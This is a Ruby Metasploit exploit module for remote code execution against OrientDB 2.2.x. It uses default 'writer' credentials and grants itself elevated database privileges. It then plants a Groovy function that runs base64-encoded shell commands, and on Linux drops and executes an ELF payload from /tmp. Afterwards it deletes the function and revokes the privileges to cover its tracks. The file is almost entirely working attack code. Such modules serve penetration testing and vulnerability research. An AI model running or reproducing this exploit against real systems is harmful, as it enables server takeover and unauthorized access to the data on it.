##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OrientDB 2.2.x Remote Code Execution',
'Description' => %q{
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
},
'Author' =>
[
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
],
'Platform' => %w{ linux unix win },
'Privileged' => false,
'Targets' =>
[
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
],
'DisclosureDate' => 'Jul 13 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2480),
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
])
end
def check
uri = target_uri
uri.path = normalize_uri(uri.path)
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
print_good("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Vulnerable
else
print_status("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Safe
end
end
def http_send_command(cmd, opts = {})
# 1 -Create the malicious function
func_name = Rex::Text::rand_text_alpha(5).downcase
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
}
res = send_request_raw(request_parameters)
if not (res and res.code == 201)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
return
end
end
# 2 - Trigger the malicious function
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => ""
}
req = send_request_raw(request_parameters)
if not (req and req.code == 200)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
return
end
end
# 3 - Get the malicious function id
if res && res.body.length > 0
begin
json_body = JSON.parse(res.body)["@rid"]
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
return
end
end
func_id = json_body.slice(1..-1)
# 4 - Delete the malicious function
request_parameters = {
'method' => 'DELETE',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => ""
}
rer = send_request_raw(request_parameters)
if not (rer and rer.code == 204)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
return
end
end
end
def java_craft_runtime_exec(cmd)
decoder = Rex::Text.rand_text_alpha(5, 8)
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
cmd_array = Rex::Text.rand_text_alpha(5, 8)
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
jcode << "String [] #{cmd_array} = new String[3];\n"
if target['Platform'] == 'win'
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
jcode << "#{cmd_array}[1] = \"/c\";\n"
else
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
jcode << "#{cmd_array}[1] = \"-c\";\n"
end
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
jcode
end
def on_new_session(client)
if not @to_delete.nil?
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end
def execute_command(cmd, opts = {})
vprint_status("Attempting to execute: #{cmd}")
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
http_send_command(cmd,targetdb)
end
def linux_stager
cmds = "echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("chmod +x /tmp/#{file}")
execute_command("rm /tmp/#{file}.b64")
execute_command("/tmp/#{file}")
@to_delete = "/tmp/#{file}"
end
def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
privs_enable = ['create','read','update','execute','delete']
items = ['database.class.ouser','database.function','database.systemclusters']
# Set the required DB permissions
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "GRANT #{priv} ON #{item} TO writer"
}
res = send_request_raw(request_parameters)
end
end
# Exploit
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager(flavor: :vbs)
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
res = http_send_command("#{payload.encoded}","#{targetdb}")
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
end
handler
# Final Cleanup
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "REVOKE #{priv} ON #{item} FROM writer"
}
res = send_request_raw(request_parameters)
end
end
end
end